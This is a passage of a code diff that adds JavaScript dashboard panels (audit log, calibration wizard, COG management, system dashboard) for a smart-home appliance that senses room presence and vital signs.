+      seed: ['seed-livingroom-a1', 'seed-bedroom-1', 'seed-bedroom-2', 'seed-bedroom-3'][n % 4],
+      key_fp: ['a1b2c3d4', 'e5f6a7b8', 'c9d0e1f2', 'b3a4c5d6'][n % 4],
+    };
+  });
+  return { items, page, size, total };
+}
+export function privacyModes() {
+  return [
+    { seed: 'seed-livingroom-a1', mode: 'full-publish' },
+    { seed: 'seed-bedroom-1', mode: 'audit-only' },
+    { seed: 'seed-bedroom-2', mode: 'audit-only' },
+    { seed: 'seed-bedroom-3', mode: 'audit-only' },
+    { seed: 'seed-hallway-c3', mode: 'audit-only' },
+  ];
+}
+
+// ── Events / automations (§4.8) ─────────────────────────────────────
+export function recentEvents(n = 40) {
+  const variants = ['StateChanged', 'EntityRegistered', 'ConfigReloaded'];
+  const ents = ['sensor.living_room_presence', 'binary_sensor.front_door', 'light.kitchen_ceiling', 'sensor.bedroom_breathing_rate'];
+  return Array.from({ length: n }, (_, i) => ({
+    type: variants[i % 3],
+    entity_id: ents[i % ents.length],
+    old_state: ['off', 'false', '14.5'][i % 3],
+    new_state: ['on', 'true', '15.1'][i % 3],
+    ts: ago(i * 11),
+    user_id: i % 4 === 0 ? 'operator' : null,
+    context: { id: 'ctx-' + (1000 + i), parent_id: i % 3 === 0 ? 'ctx-' + (999 + i) : null, grandparent_id: i % 6 === 0 ? 'ctx-' + (998 + i) : null },
+    source: ['seed-livingroom-a1', 'cog-ha-matter'][i % 2],
+  }));
+}
+
+// ── Settings (§4.10) ────────────────────────────────────────────────
+export function settings() {
+  return {
+    mqtt: { broker: 'mqtt://cognitum-v0:1883', user: 'homecore', mdns: '_ruview-ha._tcp', connected: true },
+    tokens: [
+      { name: 'ios-companion', last_used: ago(120), created: ago(8000000) },
+      { name: 'node-red', last_used: ago(60000), created: ago(20000000) },
+    ],
+    ha_disco_entities: 21,
+    esp32: [
+      { node_id: 'esp32-lr-01', ip: '192.168.1.31', port: 5566, firmware: '1.2.0', room: 'living_room', seed: 'seed-livingroom-a1' },
+      { node_id: 'esp32-br1-01', ip: '192.168.1.32', port: 5566, firmware: '1.2.0', room: 'bedroom_1', seed: 'seed-bedroom-1' },
+      { node_id: 'esp32-br2-01', ip: '192.168.1.33', port: 5566, firmware: '1.2.0', room: 'bedroom_2', seed: 'seed-bedroom-2' },
+      { node_id: 'esp32-br3-01', ip: '192.168.1.34', port: 5566, firmware: '1.2.0', room: 'bedroom_3', seed: 'seed-bedroom-3' },
+    ],
+  };
+}

v2/crates/homecore-server/ui/js/panels/audit.js

@@ -0,0 +1,217 @@
+// §4.9 Witness / Audit Log — ADR-131.
+//
+// Persistent privacy-mode banner (aggregate + per-SEED), the unified
+// two-tier witness timeline (SEED SHA-256 chain + homecore Ed25519
+// chain merged chronologically), paginated 12-at-a-time, and a
+// regulated-deployment attestation-bundle export. Privacy-mode toggles
+// are high-stakes and gated behind an explicit inline confirm (§6 honesty
+// — never silently mutate what a SEED publishes).
+
+import { h, clear, card, pill, statusPill, sectionHeader, mono, button, banner, relTime } from '../ui.js';
+
+const PAGE_SIZE = 12;
+
+export default {
+  meta: { title: 'Audit' },
+  async render(root, ctx) {
+    const { api } = ctx;
+
+    root.appendChild(sectionHeader('Witness / Audit Log', 'Two-tier provenance — SEED SHA-256 store chain + homecore Ed25519 state chain'));
+    if (api.isDemo('audit')) root.appendChild(banner('DEMO — contract-conformant witness data until the live audit endpoint lands (ADR-131 §7.1).', 'amber'));
+
+    // Async data accessors now return Promises (api.js). Wrap the initial
+    // loads in try/catch; on failure surface the typed audit/witness banner
+    // (§12 W5 distinguishes "not yet wired" upstreams) and bail.
+    let modes;
+    let firstPage;
+    try {
+      modes = (await api.privacyModes()).map((m) => ({ ...m }));
+      firstPage = await api.witnessLog(0, PAGE_SIZE);
+    } catch (e) {
+      root.appendChild(banner('Audit/witness unavailable — ' + (e.message || e)
+        + (e.upstreamUnavailable ? ' (witness aggregation not yet wired — ADR-131 §12 W5)' : ''), 'red'));
+      return () => {};
+    }
+
+    const privacyHost = h('div');
+    root.appendChild(privacyHost);
+    const renderPrivacy = () => { clear(privacyHost); privacyHost.appendChild(privacyCard(modes, renderPrivacy)); };
+    renderPrivacy();
+
+    // Unified timeline — its own host so pagination re-renders in place.
+    const timelineHost = h('div');
+    root.appendChild(timelineHost);
+
+    let page = firstPage.page;
+    // Pagination Prev/Next re-fetch the new page (await) and re-render in place.
+    const renderTimeline = async (res) => {
+      page = res.page;
+      clear(timelineHost);
+      timelineHost.appendChild(timelineCard(res,
+        async () => {
+          if (page <= 0) return;
+          clear(timelineHost);
+          timelineHost.appendChild(h('.muted-empty', 'Loading witness chain…'));
+          try { await renderTimeline(await api.witnessLog(page - 1, PAGE_SIZE)); }
+          catch (e) { clear(timelineHost); timelineHost.appendChild(banner('Audit/witness unavailable — ' + (e.message || e) + (e.upstreamUnavailable ? ' (witness aggregation not yet wired — ADR-131 §12 W5)' : ''), 'red')); }
+        },
+        async (last) => {
+          if (last) return;
+          clear(timelineHost);
+          timelineHost.appendChild(h('.muted-empty', 'Loading witness chain…'));
+          try { await renderTimeline(await api.witnessLog(page + 1, PAGE_SIZE)); }
+          catch (e) { clear(timelineHost); timelineHost.appendChild(banner('Audit/witness unavailable — ' + (e.message || e) + (e.upstreamUnavailable ? ' (witness aggregation not yet wired — ADR-131 §12 W5)' : ''), 'red')); }
+        }));
+    };
+    await renderTimeline(firstPage);
+
+    // Attestation bundle export.
+    root.appendChild(exportCard());
+
+    return () => {};
+  },
+};
+
+// ── Privacy mode (aggregate banner + per-SEED rows + gated toggle) ─────
+function privacyCard(modes, rerender) {
+  const allPublish = modes.every((m) => m.mode === 'full-publish');
+  const anyAudit = modes.some((m) => m.mode === 'audit-only');
+
+  const top = allPublish
+    ? banner('Full-publish mode — SEED state changes are published over MQTT.', 'green')
+    : banner('Audit-only mode (SHA-256 digests on-SEED only, no MQTT state messages).', 'amber');
+
+  const list = h('div');
+  modes.forEach((m, i) => list.appendChild(privacyRow(m, modes, rerender, i)));
+
+  return card({
+    title: 'Privacy mode',
+    children: [
+      top,
+      h('.t2.mt', 'Per-SEED configuration — each SEED chooses independently what leaves the device.'),
+      list,
+    ],
+  });
+}
+
+function privacyRow(m, modes, rerender, idx) {
+  const isPublish = m.mode === 'full-publish';
+  const modePill = pill(m.mode, isPublish ? 'green' : 'amber');
+
+  // The confirm step lives inline beneath the row; only one at a time.
+  const confirmHost = h('div');
+
+  const toggleBtn = button('Toggle privacy mode', {
+    variant: 'ghost',
+    onClick: () => {
+      clear(confirmHost);
+      confirmHost.appendChild(confirmStep(m, modes, rerender, confirmHost));
+    },
+  });
+
+  const wrap = h('div',
+    h('.row',
+      h('span.flex.gap-sm', mono(m.seed), modePill),
+      toggleBtn),
+    confirmHost);
+  return wrap;
+}
+
+function confirmStep(m, modes, rerender, confirmHost) {
+  const target = m.mode === 'full-publish' ? 'audit-only' : 'full-publish';
+  const summary = target === 'audit-only'
+    ? `${m.seed} will STOP publishing state changes over MQTT — only on-SEED SHA-256 digests remain.`
+    : `${m.seed} will START publishing state changes over MQTT (full state values leave the device).`;
+
+  const confirmBtn = button('Confirm', {
+    variant: 'primary',
+    onClick: () => {
+      const live = modes.find((x) => x.seed === m.seed);
+      if (live) live.mode = target;
+      rerender();
+    },
+  });
+  const cancelBtn = button('Cancel', { variant: 'ghost', onClick: () => clear(confirmHost) });
+
+  return card({
+    tint: target === 'audit-only' ? 'amber' : null,
+    children: [
+      h('.t2', h('span', 'Switch '), mono(m.seed), h('span', ` → ${target}?`)),
+      h('.mt', summary),
+      h('.flex.gap-sm.mt', confirmBtn, cancelBtn),
+    ],
+  });
+}
+
+// ── Unified two-tier witness timeline ──────────────────────────────────
+function timelineCard(res, onPrev, onNext) {
+  const { items, page, size, total } = res;
+  const lastPage = Math.max(0, Math.ceil(total / size) - 1);
+  const isLast = page >= lastPage;
+
+  const head = h('.row',
+    h('span.k', 'entity · old → new · when · tier · source SEED · key'),
+    h('span.t2', `merged chronological — both chains`));
+
+  const body = h('div');
+  if (!items.length) body.appendChild(h('.muted-empty', 'No witness entries.'));
+  items.forEach((it) => body.appendChild(witnessRow(it)));
+
+  const from = total === 0 ? 0 : page * size + 1;
+  const to = Math.min(total, page * size + items.length);
+  const pager = h('.flex.spread.mt',
+    h('span.t2', `Showing ${from}–${to} of ${total}`),
+    h('span.flex.gap-sm',
+      button('‹ Prev', { variant: 'ghost', onClick: onPrev, disabled: page <= 0 }),
+      button('Next ›', { variant: 'ghost', onClick: () => onNext(isLast), disabled: isLast })));
+
+  return card({ title: 'Witness timeline', children: [head, body, pager] });
+}
+
+function witnessRow(it) {
+  const seedTier = it.tier === 'seed-sha256';
+  const tierPill = pill(it.tier, seedTier ? 'cyan' : 'purple');
+
+  // old → new. SEED-tier writes have no prior state and a sha256 digest as
+  // the "new" value — render the digest mono so it reads as a hash, not state.
+  const transition = h('span.flex.gap-sm',
+    h('span.mono.t2', it.old_state == null ? '∅' : it.old_state),
+    h('span.t3', '→'),
+    h('span.mono', it.new_state == null ? '∅' : it.new_state));
+
+  return h('.row',
+    h('span.flex.gap-sm.wrap',
+      mono(it.entity_id),
+      transition),
+    h('span.flex.gap-sm.wrap',
+      h('span.t2', relTime(it.ts)),
+      tierPill,
+      mono(it.seed),
+      h('span.mono.t3', keyFp(it.key_fp))));
+}
+
+function keyFp(fp) {
+  if (!fp) return '—';
+  return String(fp).slice(0, 8) + '…';
+}
+
+// ── Attestation bundle export (regulated-deployment compliance) ────────
+function exportCard() {
+  const status = h('.t2.mt');
+  const btn = button('Export attestation bundle', {
+    variant: 'ghost',
+    onClick: () => {
+      clear(status);
+      status.appendChild(h('span.green',
+        'Bundle prepared — SEED SHA-256 store chain + homecore Ed25519 state chain packaged for compliance handoff.'));
+    },
+  });
+  return card({
+    title: 'Attestation bundle',
+    children: [
+      h('.t2', 'Packages both witness chains (SEED SHA-256 + homecore Ed25519) for regulated-deployment compliance handoff.'),
+      h('.mt', btn),
+      status,
+    ],
+  });
+}

v2/crates/homecore-server/ui/js/panels/calibration.js

@@ -0,0 +1,256 @@
+// §4.7 Calibration Wizard — baseline → enroll → train → verify.
+// Stepped wizard (1–5) against the ADR-151 calibration HTTP API.
+
+import { h, clear, card, pill, statusPill, sectionHeader, bar, banner, button, mono } from '../ui.js';
+
+export default {
+  meta: { title: 'Calibration' },
+  async render(root, ctx) {
+    const { api } = ctx;
+    const cal = api.calibration;
+    const state = { step: 1, room_id: '', seed: '', baseline_id: null, anchorIdx: 0, trainResult: null };
+    // Track the active baseline poll so it can be cancelled on Restart, on a
+    // step change, and when the panel itself is torn down (the router only
+    // calls the cleanup this render() returns — a per-card _cleanup was never
+    // invoked, leaking the setTimeout loop).
+    let activePoll = null;
+    function stopPoll() {
+      if (activePoll) { activePoll.cancelled = true; if (activePoll.timer) clearTimeout(activePoll.timer); activePoll = null; }
+    }
+
+    root.appendChild(sectionHeader('Calibration Wizard', 'baseline → enroll → train → verify'));
+    if (cal.demo) root.appendChild(banner('DEMO — cog-calibration HTTP API (ADR-151) simulated in-browser; the live service replaces this (§7.1).', 'amber'));
+    const stepper = h('.stepper');
+    const body = h('div');
+    root.appendChild(stepper);
+    root.appendChild(body);
+
+    const STEPS = ['Select', 'Baseline', 'Enroll', 'Train', 'Verify'];
+    function paintStepper() {
+      clear(stepper);
+      STEPS.forEach((s, i) => {
+        const n = i + 1;
+        const cls = n === state.step ? 'active' : (n < state.step ? 'done' : '');
+        stepper.appendChild(h('.step-pill' + (cls ? '.' + cls : ''), h('span.n', n < state.step ? '✓' : String(n)), s));
+      });
+    }
+    function go(step) { stopPoll(); state.step = step; paintStepper(); render(); }
+    function render() {
+      clear(body);
+      if (state.step === 1) body.appendChild(step1());
+      else if (state.step === 2) body.appendChild(step2());
+      else if (state.step === 3) body.appendChild(step3());
+      else if (state.step === 4) body.appendChild(step4());
+      else body.appendChild(step5());
+    }
+
+    // ── Step 1 — select room + SEED ────────────────────────────────
+    function step1() {
+      const roomInput = h('input.search', { placeholder: 'room_id  (A-Za-z0-9_- , 1–64)', value: state.room_id });
+      const seedSel = h('select.inline');
+      const warn = h('div');
+      let seedList = [];
+      (async () => {
+        try { seedList = (await api.seeds()).filter((s) => s.online); }
+        catch (e) { warn.appendChild(banner('SEED fleet unavailable — ' + (e.message || e), 'red')); }
+        seedList.forEach((s) => seedSel.appendChild(h('option', { value: s.device_id }, `${s.device_id} (${s.zone})`)));
+      })();
+      const validate = () => {
+        const ok = /^[A-Za-z0-9_-]{1,64}$/.test(roomInput.value);
+        const seed = seedList.find((s) => s.device_id === seedSel.value);
+        clear(warn);
+        if (!ok) warn.appendChild(banner('room_id must match [A-Za-z0-9_-]{1,64}', 'red'));
+        else if (seed && seed.frame_rate_hz < 80) warn.appendChild(banner(`CSI ingest low (${seed.frame_rate_hz} Hz) — a broken pipeline silently fails calibration`, 'amber'));
+        return ok;
+      };
+      roomInput.addEventListener('input', validate);
+      seedSel.addEventListener('change', validate);
+      return card({
+        title: 'Step 1 — Select room and SEED', children: [
+          h('h3', 'room_id'), roomInput,
+          h('h3.mt', 'Serving SEED'), seedSel, warn,
+          h('.mt', button('Next', { variant: 'primary', onClick: () => { if (validate()) { state.room_id = roomInput.value; state.seed = seedSel.value; go(2); } } })),
+        ],
+      });
+    }
+
+    // ── Step 2 — baseline capture ──────────────────────────────────
+    function step2() {
+      const progress = h('.bar', { style: { height: '14px' } }, h('span'));
+      const meta = h('.t2.mt');
+      const baselineLine = h('div');
+      const c = card({
+        title: 'Step 2 — Baseline capture (room must be empty)', children: [
+          progress, meta, baselineLine,
+          h('.mt', button('Restart', {
+            variant: 'ghost',
+            // Cancel the in-flight poll loop (was leaked before), reset the
+            // session, and start a fresh capture.
+            onClick: () => { stopPoll(); cal.reset(); clear(baselineLine); startCapture(); },
+          })),
+        ],
+      });
+
+      // Single-flight: stopPoll() before (re)arming guarantees one loop.
+      function startCapture() {
+        stopPoll();
+        const session = { cancelled: false, timer: null };
+        activePoll = session;
+        (async () => {
+          let startRes;
+          try { startRes = await cal.start(); }
+          catch (e) { clear(meta); meta.appendChild(banner('Baseline start failed — ' + (e.message || e), 'red')); return; }
+          if (session.cancelled) return;
+          state.baseline_id = (startRes && startRes.baseline_id) || state.baseline_id;
+          const loop = async () => {
+            if (session.cancelled) return;
+            let st;
+            try { st = await cal.status(); }
+            catch (e) { clear(meta); meta.appendChild(banner('Status unavailable — ' + (e.message || e), 'red')); return; }
+            if (session.cancelled) return;
+            progress.firstChild.style.width = pct(st.frames, st.target) + '%';
+            clear(meta); meta.appendChild(document.createTextNode(`${st.frames}/${st.target} frames · ETA ${st.eta_s}s · z_median ${st.z_median}`));
+            if (st.motion_flagged) { if (!c.querySelector('.banner')) c.insertBefore(banner('Room must be empty — movement detected', 'amber'), progress); }
+            else { const b = c.querySelector('.banner'); if (b) b.remove(); }
+            if (st.target > 0 && st.frames >= st.target) {
+              activePoll = null;
+              state.baseline_id = state.baseline_id || 'bl-unknown';
+              clear(baselineLine);
+              baselineLine.appendChild(h('.mt', h('span.green', 'Baseline complete · '), mono(state.baseline_id), h('span.t2', ' (record this — it anchors STALE detection)')));
+              baselineLine.appendChild(h('.mt', button('Continue to enrollment', { variant: 'primary', onClick: () => go(3) })));
+              return;
+            }
+            session.timer = setTimeout(loop, 600);
+          };
+          loop();
+        })();
+      }
+
+      startCapture();
+      return c;
+    }
+
+    // ── Step 3 — anchor enrollment ─────────────────────────────────
+    function step3() {
+      const anchors = cal.ANCHORS;
+      const counter = h('h3', 'enrollment');
+      const list = h('div');
+      const current = h('div');
+      async function paint() {
+        let acc;
+        try { acc = new Set(((await cal.enrollStatus()).accepted) || []); }
+        catch (e) { clear(current); current.appendChild(banner('Enroll status unavailable — ' + (e.message || e), 'red')); acc = new Set(); }
+        clear(counter); counter.appendChild(document.createTextNode(`${acc.size} / ${anchors.length} anchors accepted`));
+        clear(list);
+        anchors.forEach((label, i) => {
+          list.appendChild(h('.row', mono(label),
+            acc.has(label) ? pill('accepted', 'green') : (i === state.anchorIdx ? pill('current', 'cyan') : pill('pending', 'grey'))));
+        });
+        clear(current);
+        const label = anchors[state.anchorIdx];
+        if (!label) {
+          current.appendChild(h('.mt', h('span.green', 'All anchors processed · '),
+            button('Train specialists', { variant: 'primary', onClick: () => go(4) })));
+          return;
+        }
+        current.appendChild(h('h3.mt', `Anchor: ${label}`));
+        current.appendChild(h('.t2', instruction(label)));
+        current.appendChild(h('.mt', button('Capture anchor', {
+          variant: 'primary', onClick: async () => {
+            let r;
+            try { r = await cal.anchor(label); }
+            catch (e) { current.appendChild(banner('Capture failed — ' + (e.message || e), 'red')); return; }
+            const f = r.features;
+            const res = h('.mt', r.accepted ? pill('accepted', 'green') : pill('retry', 'amber'),
+              r.reason ? h('span.amber', ' ' + r.reason) : null,
+              f ? h('.mono.t2.mt', `mean ${f.mean} · var ${f.variance} · breathing ${f.breathing_score} · heart ${f.heart_score}`) : null);
+            current.appendChild(res);
+            if (r.accepted) { state.anchorIdx++; setTimeout(paint, 700); }
+          },
+        })));
+      }
+      paint();
+      return card({ title: 'Step 3 — Anchor enrollment', children: [counter, list, current] });
+    }
+
+    // ── Step 4 — train ─────────────────────────────────────────────
+    function step4() {
+      const body4 = h('div', h('.muted-empty', 'Training…'));
+      const c = card({ title: 'Step 4 — Train specialists', children: [body4] });
+      (async () => {
+        let r;
+        try { r = await cal.train(state.room_id); }
+        catch (e) { clear(body4); body4.appendChild(banner('Training failed — ' + (e.message || e), 'red')); return; }
+        state.trainResult = r;
+        clear(body4);
+        const specs = [
+          ['presence', r.presence && `threshold ${r.presence.threshold} · var ${r.presence.occupied_var}`],
+          ['posture', r.posture && `${r.posture.prototypes} prototypes`],
+          ['breathing', r.breathing && `min_score ${r.breathing.min_score}`],
+          ['heartbeat', r.heartbeat && `min_score ${r.heartbeat.min_score}`],
+          ['restlessness', r.restlessness && `calm ${r.restlessness.calm} · active ${r.restlessness.active}`],
+          ['anomaly', r.anomaly && `${r.anomaly.prototypes} prototypes · scale ${r.anomaly.scale}`],
+        ];
+        specs.forEach(([name, detail]) => {
+          body4.appendChild(h('.row', mono(name),
+            detail ? h('.flex.gap-sm', pill('trained', 'green'), h('span.t2', detail))
+              : h('.flex.gap-sm', pill('null', 'amber'), button('Re-enroll missing anchors', { variant: 'ghost', onClick: () => go(3) }))));
+        });
+        body4.appendChild(h('.mt', button('Verify live', { variant: 'primary', onClick: () => go(5) })));
+      })();
+      return c;
+    }
+
+    // ── Step 5 — verify live ───────────────────────────────────────
+    function step5() {
+      const rows = h('div', h('.muted-empty', 'Loading live RoomState…'));
+      (async () => {
+        let live;
+        try {
+          const all = await api.roomStates();
+          live = all.find((r) => r.room_id === state.room_id) || all[0];
+        } catch (e) { clear(rows); rows.appendChild(banner('Live RoomState unavailable — ' + (e.message || e), 'red')); return; }
+        clear(rows);
+        if (!live) { rows.appendChild(h('.muted-empty', 'No RoomState yet — give the room a moment after training.')); return; }
+        rows.appendChild(h('.row', 'Presence', live.presence ? statusPill(live.presence.value) : h('span.t3', '—')));
+        rows.appendChild(h('.row', 'Posture', live.posture ? statusPill(live.posture.value) : h('span.t3', '—')));
+        rows.appendChild(h('.row', 'Breathing', h('span.cyan', live.breathing_bpm ? live.breathing_bpm.value + ' BPM' : '—')));
+        rows.appendChild(h('.row', 'Heart rate', h('span.cyan', live.heart_bpm ? live.heart_bpm.value + ' BPM' : '—')));
+      })();
+      return card({
+        title: 'Step 5 — Verify live', children: [
+          h('.t2', 'Stand in the room to confirm presence; sit/lie to confirm posture; breathe normally to confirm vitals.'),
+          rows,
+          h('.flex.mt',
+            button('Confirm and save', { variant: 'primary', onClick: () => { cal.reset && cal.reset(); ctx.navigate('#/rooms'); } }),
+            button("Something's wrong — re-enroll", { variant: 'ghost', onClick: () => go(3) })),
+        ],
+      });
+    }
+
+    paintStepper();
+    render();
+    // The router invokes this on navigation away — tear down any live poll.
+    return () => stopPoll();
+  },
+};
+
+// Guard against NaN%/Infinity% when target is 0/missing (§4.7 robustness).
+function pct(frames, target) {
+  if (!(target > 0)) return 0;
+  return Math.max(0, Math.min(100, (frames / target) * 100)).toFixed(0);
+}
+
+function instruction(label) {
+  const map = {
+    empty: 'Leave the room empty and still.',
+    stand_still: 'Stand still in the centre of the room.',
+    sit: 'Sit down naturally.',
+    lie_down: 'Lie down (bed/sofa).',
+    breathe_slow: 'Breathe slowly and deeply.',
+    breathe_normal: 'Breathe at your normal resting rate.',
+    small_move: 'Make small fidgeting movements.',
+    sleep_posture: 'Adopt your typical sleeping posture and stay still.',
+  };
+  return map[label] || label;
+}

v2/crates/homecore-server/ui/js/panels/cogs.js

@@ -0,0 +1,194 @@
+// §4.6 v0 Appliance COG Management — ADR-131.
+// Installed COGs (start/stop/restart/logs/config + sha256+sig shield),
+// COG Store / App Registry (mirrors seed.cognitum.one/store), OTA
+// Updates diff panels, and Hailo HEF status. Mirrors the Cog Store
+// visual conventions (card layout, category pills, install/details pair).
+
+import { h, clear, card, pill, statusPill, sectionHeader, mono, button, collapsible, banner } from '../ui.js';
+
+export default {
+  meta: { title: 'COGs' },
+  async render(root, ctx) {
+    const { api } = ctx;
+    root.appendChild(sectionHeader('COGs', 'v0 Appliance COG runtime & OTA updates'));
+    if (api.isDemo('cogs')) {
+      root.appendChild(h('.banner.amber', 'COG management shows contract-conformant DEMO data until the live cog-supervisor endpoint lands (ADR-131 §7.1).'));
+    }
+
+    let cogs, updates;
+    try {
+      cogs = await api.cogs();
+      updates = await api.cogUpdates();
+    } catch (e) {
+      root.appendChild(banner('COG runtime unavailable — ' + (e.message || e) + (e.upstreamUnavailable ? ' (upstream not yet wired — ADR-131 §12)' : ''), 'red'));
+      return () => {};
+    }
+
+    // ── Installed COGs ─────────────────────────────────────────────
+    root.appendChild(h('.flex.gap-sm', h('h2', 'Installed'), pill(String(cogs.length), 'cyan')));
+    const installed = h('.grid.cols-2');
+    cogs.forEach((c) => installed.appendChild(installedCogCard(c)));
+    root.appendChild(installed);
+
+    // ── OTA Updates ────────────────────────────────────────────────
+    root.appendChild(h('.flex.gap-sm.mt', h('h2', 'Updates'), pill(String(updates.length), updates.length ? 'amber' : 'grey')));
+    if (!updates.length) {
+      root.appendChild(card({ children: [h('.muted-empty', 'All COGs up to date.')] }));
+    } else {
+      updates.forEach((u) => root.appendChild(updateCard(u)));
+    }
+
+    // ── Hailo HEF status ───────────────────────────────────────────
+    // §6 honesty: the worker pill must reflect the REAL probe, not a
+    // hardcoded "connected". Probe the appliance services for the
+    // ruvector-hailo-worker; if that upstream is unavailable, show the
+    // status as unknown rather than fabricating "connected".
+    let workerStatus = 'unknown';
+    try {
+      const appliance = await api.appliance();
+      const svc = (appliance.services || []).find((s) => s.name === 'ruvector-hailo-worker');
+      if (svc && svc.status) workerStatus = svc.status;
+    } catch { /* leave 'unknown' — honest not-available, never fabricated */ }
+
+    root.appendChild(h('h2.mt', 'Hailo-10H accelerator'));
+    root.appendChild(hailoStatus(cogs, workerStatus));
+
+    return () => {};
+  },
+};
+
+// ── Installed COG card ───────────────────────────────────────────────
+function installedCogCard(c) {
+  const verified = c.sha256_verified && c.signature_verified;
+  const shield = h(`span.shield.${verified ? 'ok' : 'bad'}`, (verified ? '✓ ' : '✗ ') + 'verified');
+  const archPill = c.arch === 'hailo10' ? pill('hailo10', 'purple') : pill('arm', 'cyan');
+
+  const body = h('div',
+    h('.flex.spread',
+      h('strong.mono', `${c.id} ${c.version}`),
+      statusPill(c.status)),
+    h('.flex.wrap.gap-sm.mt', archPill, shield,
+      h('span.t2', 'PID '), mono(c.pid == null ? '—' : c.pid)));
+
+  if (c.status === 'failed' && c.error) {
+    body.appendChild(h('.red.mt', { style: { fontFamily: 'var(--mono)', fontSize: '12px' } }, c.error));
+  }
+
+  // action ghost buttons
+  const actions = h('.flex.wrap.gap-sm.mt',
+    button('Start', { onClick: () => {} }),
+    button('Stop', { onClick: () => {} }),
+    button('Restart', { onClick: () => {} }));
+  body.appendChild(actions);
+
+  // View logs drawer
+  const logDrawer = h('pre.log.mt.hidden', logText(c));
+  let logsOpen = false;
+  const logsBtn = button('View logs', {
+    onClick: () => { logsOpen = !logsOpen; logDrawer.classList.toggle('hidden', !logsOpen); logsBtn.textContent = logsOpen ? 'Hide logs' : 'View logs'; },
+  });
+  actions.appendChild(logsBtn);
+
+  // Edit config.json drawer (textarea, no persistence)
+  const cfgArea = h('textarea.json.mt.hidden', { rows: 8, spellcheck: 'false' });
+  cfgArea.value = configJson(c);
+  let cfgOpen = false;
+  const cfgBtn = button('Edit config.json', {
+    onClick: () => { cfgOpen = !cfgOpen; cfgArea.classList.toggle('hidden', !cfgOpen); cfgBtn.textContent = cfgOpen ? 'Close config' : 'Edit config.json'; },
+  });
+  actions.appendChild(cfgBtn);
+
+  body.appendChild(logDrawer);
+  body.appendChild(cfgArea);
+
+  return card({ tint: c.status === 'failed' ? 'red' : null, children: [body] });
+}
+
+function logText(c) {
+  if (c.status === 'failed' && c.error) {
+    return [
+      `[error] ${c.id} v${c.version} exited`,
+      `[error] ${c.error}`,
+      `[info]  supervisor: marking ${c.id} failed; PID was ${c.pid == null ? 'none' : c.pid}`,
+    ].join('\n');
+  }
+  if (c.status === 'stopped') {
+    return `[info]  ${c.id} v${c.version} stopped by operator\n[info]  supervisor: PID released`;
+  }
+  return [
+    `[info]  ${c.id} v${c.version} running (pid ${c.pid})`,
+    `[info]  arch=${c.arch} sha256_verified=${c.sha256_verified} signature_verified=${c.signature_verified}`,
+    c.arch === 'hailo10' ? `[info]  hailo: ${asArray(c.hef).join(', ') || 'no HEF loaded'} @ ${c.throughput_fps || '—'} fps` : '[info]  cpu-only worker, no Hailo offload',
+    '[info]  heartbeat ok',
+  ].join('\n');
+}
+
+function configJson(c) {
+  const cfg = {
+    id: c.id,
+    version: c.version,
+    arch: c.arch,
+    autostart: c.status !== 'stopped',
+  };
+  if (c.arch === 'hailo10') {
+    cfg.hef = asArray(c.hef);
+    cfg.target_fps = c.throughput_fps || null;
+  }
+  return JSON.stringify(cfg, null, 2);
+}
+
+// Coerce a forwarded manifest `hef` (array | string | object | null) into an
+// array so a non-array value degrades gracefully instead of throwing on
+// .forEach/.join/.length (the gateway forwards it verbatim — §11).
+function asArray(v) {
+  if (Array.isArray(v)) return v;
+  if (v == null || v === '') return [];
+  return [v];
+}
+
+// ── OTA update diff card ─────────────────────────────────────────────
+function updateCard(u) {
+  const diff = h('div',
+    h('.flex.gap-sm',
+      h('strong.mono', u.id),
+      mono(u.from), h('span.t3', '→'), h('span.mono.green', u.to)),
+    diffList('New entities', u.new_entities, 'green'),
+    diffList('Config changes', u.config_changes, 'amber'),
+    h('.flex.gap-sm.mt',
+      button('Update', { variant: 'primary', onClick: () => {} }),
+      button('Skip', { onClick: () => {} })));
+  return card({ children: [diff] });
+}
+
+function diffList(title, items, color) {
+  if (!items || !items.length) return null;
+  const list = h('div.mt', h('h3', title));
+  items.forEach((e) => list.appendChild(h('.row', h(`span.mono.${color}`, e))));
+  return list;
+}
+
+// ── Hailo HEF status ─────────────────────────────────────────────────
+function hailoStatus(cogs, workerStatus = 'unknown') {
+  const hailoCogs = cogs.filter((c) => c.arch === 'hailo10');
+  // statusPill maps 'running'/'connected'→green, 'unreachable'/'error'→red,
+  // 'unknown'→grey; the real probe drives the colour, never a hardcode.
+  const worker = h('.flex.gap-sm', statusPill(workerStatus), h('span.mono.t2', 'ruvector-hailo-worker:50051'));
+  const body = h('div', worker);
+
+  if (!hailoCogs.length) {
+    body.appendChild(h('.muted-empty', 'No Hailo-sourced COGs loaded.'));
+  } else {
+    hailoCogs.forEach((c) => {
+      const hef = asArray(c.hef); // gateway forwards manifest `hef` verbatim — may be a string
+      const hefRows = h('div',
+        h('.flex.spread', h('strong.mono', `${c.id} ${c.version}`), pill((c.throughput_fps || 0) + ' fps', 'purple')));
+      hef.forEach((f) => hefRows.appendChild(h('.row', h('span.mono.purple', f), h('span.t2', 'loaded'))));
+      if (!hef.length) hefRows.appendChild(h('.muted-empty', 'no .hef files loaded'));
+      body.appendChild(h('.mt', hefRows));
+    });
+  }
+
+  body.appendChild(h('.t3.mt', { style: { fontSize: '12px' } },
+    'RF Foundation Encoder (ADR-150) will appear here once available.'));
+  return card({ children: [body] });
+}

v2/crates/homecore-server/ui/js/panels/dashboard.js

@@ -0,0 +1,153 @@
+// §4.1 System Dashboard — the "home screen".
+// v0 Appliance health strip (always top) + SEED fleet overview +
+// ESP32 summary + COG runtime status row + event-bus sparkline.
+
+import { h, clear, card, metric, pill, statusPill, sectionHeader, sparkline, provenanceBadge } from '../ui.js';
+
+export default {
+  meta: { title: 'System Dashboard' },
+  async render(root, ctx) {
+    const { api } = ctx;
+    root.appendChild(sectionHeader('System Dashboard', 'Cognitum v0 Appliance — the machine you are looking at'));
+    if (api.anyDemo()) root.appendChild(h('.banner.amber', 'DEMO mode (?demo=1) — panels show contract-conformant fixture data, not live (ADR-131 §2.2).'));
+
+    // Each section loads independently so one offline upstream can't blank
+    // the dashboard (§11.1). A failed section renders a typed error card.
+    let cleanupEvent = () => {};
+
+    // ── v0 Appliance health strip (always at top) ──────────────────
+    await section(root, 'v0 Appliance health', async () => {
+      const a = await api.appliance();
+      const strip = h('.metric-grid',
+        metric({ icon: '🖥', value: pctOrNA(a.cpu_pct), label: 'CPU' }),
+        metric({ icon: '🧠', value: pctOrNA(a.ram_pct), label: 'RAM' }),
+        metric({ icon: '⚡', value: pctOrNA(a.hailo_load_pct), label: 'Hailo-10H load' }),
+        metric({ icon: '🌡', value: unitOrNA(a.hailo_temp_c, '°C'), label: 'Hailo temp' }),
